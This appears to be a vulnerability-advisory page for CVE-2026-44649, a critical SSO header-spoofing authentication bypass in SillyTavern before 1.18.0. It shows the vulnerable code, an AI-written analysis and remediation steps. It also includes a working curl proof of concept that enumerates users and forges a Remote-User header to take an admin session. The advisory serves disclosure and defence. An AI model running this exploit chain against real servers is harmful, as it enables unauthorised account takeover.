Skip to main content

SillyTavern CVE-2026-44649

| EUVDEUVD-2026-33401 CRITICAL
Authentication Bypass by Spoofing (CWE-290)
2026-05-12 https://github.com/SillyTavern/SillyTavern GHSA-gxx6-h3g6-vwjh
9.8
CVSS 3.1 · Vendor: https://github.com/SillyTavern/SillyTavern
Share

Severity by source

Vendor (https://github.com/SillyTavern/SillyTavern) PRIMARY
9.8 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
vuln.today AI
9.8 CRITICAL

When SSO is enabled the attack is remote, unauthenticated, no user interaction, and grants full admin takeover; the non-default config precondition is an exposure gate not modeled in base AC/PR.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/SillyTavern/SillyTavern).

CVSS VectorVendor: https://github.com/SillyTavern/SillyTavern

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

3
Source Code Evidence Fetched
Jul 23, 2026 - 19:10 vuln.today
Analysis Generated
Jul 23, 2026 - 19:10 vuln.today
CVE Published
May 12, 2026 - 22:23 nvd
CRITICAL 9.8

DescriptionCVE.org

Resolution

SillyTavern 1.18.0 now includes a configuration option to limit which IP addresses can authorize using SSO headers, limiting to just loopback addresses by default. A setting can be customized according to user's needs.

Documentation: https://docs.sillytavern.app/administration/sso/

Summary

SillyTavern accepts Remote-User (Authelia) and X-Authentik-Username (Authentik) HTTP headers to automatically log in users when SSO is configured. There is no validation that these headers originate from a trusted reverse proxy. Any network client that can reach the SillyTavern port directly can inject these headers and authenticate as any user, including administrators, without a password. This vulnerability is exploitable only when sso.autheliaAuth: true or sso.authentikAuth: true is set in config.yaml (both default to false).

Detials

SillyTavern implements header-based SSO for Authelia and Authentik. When enabled, the tryAutoLogin function (called on every request to /login) invokes headerUserLogin, which reads an HTTP header set by the upstream proxy and automatically creates an authenticated session for the matching user:

src/users.js:779-801:

js
async function headerUserLogin(request, header = 'Remote-User') {
    if (!request.session) { return false; }

    const remoteUser = request.get(header);  // reads any header from any client
    if (!remoteUser) { return false; }

    const userHandles = await getAllUserHandles();
    for (const userHandle of userHandles) {
        if (remoteUser.toLowerCase() === userHandle) {
            const user = await storage.getItem(toKey(userHandle));
            if (user && user.enabled) {
                request.session.handle = userHandle;
                return true;
            }
        }
    }
    return false;
}

request.get(header) is Express's wrapper for req.headers[name.toLowerCase()]. Express does not distinguish between headers set by a trusted upstream proxy and headers injected by the end client. Without an IP allowlist check, any client can set Remote-User: and receive an authenticated session cookie.

User Enumeration Pre-Condition

The /api/users/list endpoint is registered before requireLoginMiddleware in src/server-main.js:236, making it publicly accessible without authentication:

src/server-main.js:236,239:

js
app.use('/api/users', usersPublicRouter);  // line 236 (public)
app.use(requireLoginMiddleware);           // line 239 (auth gate)

src/endpoints/users-public.js:26-57:

js
router.post('/list', async (_request, response) => {
    if (DISCREET_LOGIN) { return response.sendStatus(204); }
    const users = await storage.values(x => x.key.startsWith(KEY_PREFIX));
    return response.json(viewModels);  // returns handle, name, avatar, admin, password flags
});

This allows an attacker to enumerate all user handles (including admin handles) without any prior credentials.

PoC

bash
TARGET="http://localhost:8000"
# enumerate users
curl -s -X POST "$TARGET/api/users/list" -H "Content-Type: application/json" -d '{}'
# inject Remote-User header, receive authsession
curl -s -L \
  -H "Remote-User: admin-user" \
  -c /tmp/st-session.txt \
  "$TARGET/login"
# obtain CSRF token, call admin API
TOKEN=$(curl -s -b /tmp/st-session.txt "$TARGET/csrf-token" | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")

curl -s -X POST "$TARGET/api/users/admin/get" \
  -H "Content-Type: application/json" \
  -H "X-CSRF-Token: $TOKEN" \
  -b /tmp/st-session.txt \
  -d '{}'

---

Impact

An account takeover, allowing an attacker to do anything a legitimately authorized user can do.

AnalysisAI

Authentication bypass in SillyTavern (< 1.18.0) lets any network client that can reach the server port directly inject the Remote-User (Authelia) or X-Authentik-Username (Authentik) SSO headers and log in as any user - including administrators - without a password, because the app never verifies the headers came from the trusted reverse proxy. The flaw is only exploitable when sso.autheliaAuth or sso.authentikAuth is enabled in config.yaml (both default to false), and is aided by an unauthenticated /api/users/list endpoint that leaks admin handles. There is no public exploit identified at time of analysis, though the advisory includes a working PoC, and EPSS is low at 0.07%.

Technical ContextAI

SillyTavern is a self-hosted Node.js/Express front-end for LLM chat. Its header-based SSO integration (src/users.js, headerUserLogin) is designed for deployments behind Authelia or Authentik, where a trusted reverse proxy authenticates the user and forwards their identity in an HTTP header. The tryAutoLogin path runs on every request to /login and calls request.get('Remote-User'), which is Express's wrapper for req.headers['remote-user']. Express cannot distinguish a header set by an upstream proxy from one set by the end client, and the code performs no source-IP allowlist check, so the trust assumption is unenforced. This maps to CWE-290 (Authentication Bypass by Spoofing) - the server treats a client-controllable value as a trusted identity assertion. A secondary weakness is that /api/users/list (src/endpoints/users-public.js) is mounted before requireLoginMiddleware, so unauthenticated callers can enumerate valid handles (unless DISCREET_LOGIN is set). Affected package: pkg:npm/sillytavern.

RemediationAI

Vendor-released patch: upgrade to SillyTavern 1.18.0, which adds an IP allowlist for SSO trusted proxies and, by default, only honors SSO headers from loopback addresses (configurable per the docs at https://docs.sillytavern.app/administration/sso/). If you cannot upgrade immediately, the most effective compensating control is to disable header SSO by setting sso.autheliaAuth: false and sso.authentikAuth: false in config.yaml (trade-off: users must authenticate via SillyTavern's native login instead of the SSO proxy). Alternatively, ensure the SillyTavern listening port is not directly reachable by clients - bind it to loopback and force all traffic through the Authelia/Authentik reverse proxy, and use firewall/network rules to block direct access to the app port (trade-off: requires correct proxy/network hardening to be airtight). To reduce pre-attack reconnaissance, enable DISCREET_LOGIN so /api/users/list returns 204 and admin handles are not disclosed. Advisory and release: https://github.com/SillyTavern/SillyTavern/security/advisories/GHSA-gxx6-h3g6-vwjh and https://github.com/SillyTavern/SillyTavern/releases/tag/1.18.0 .

Share

CVE-2026-44649 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy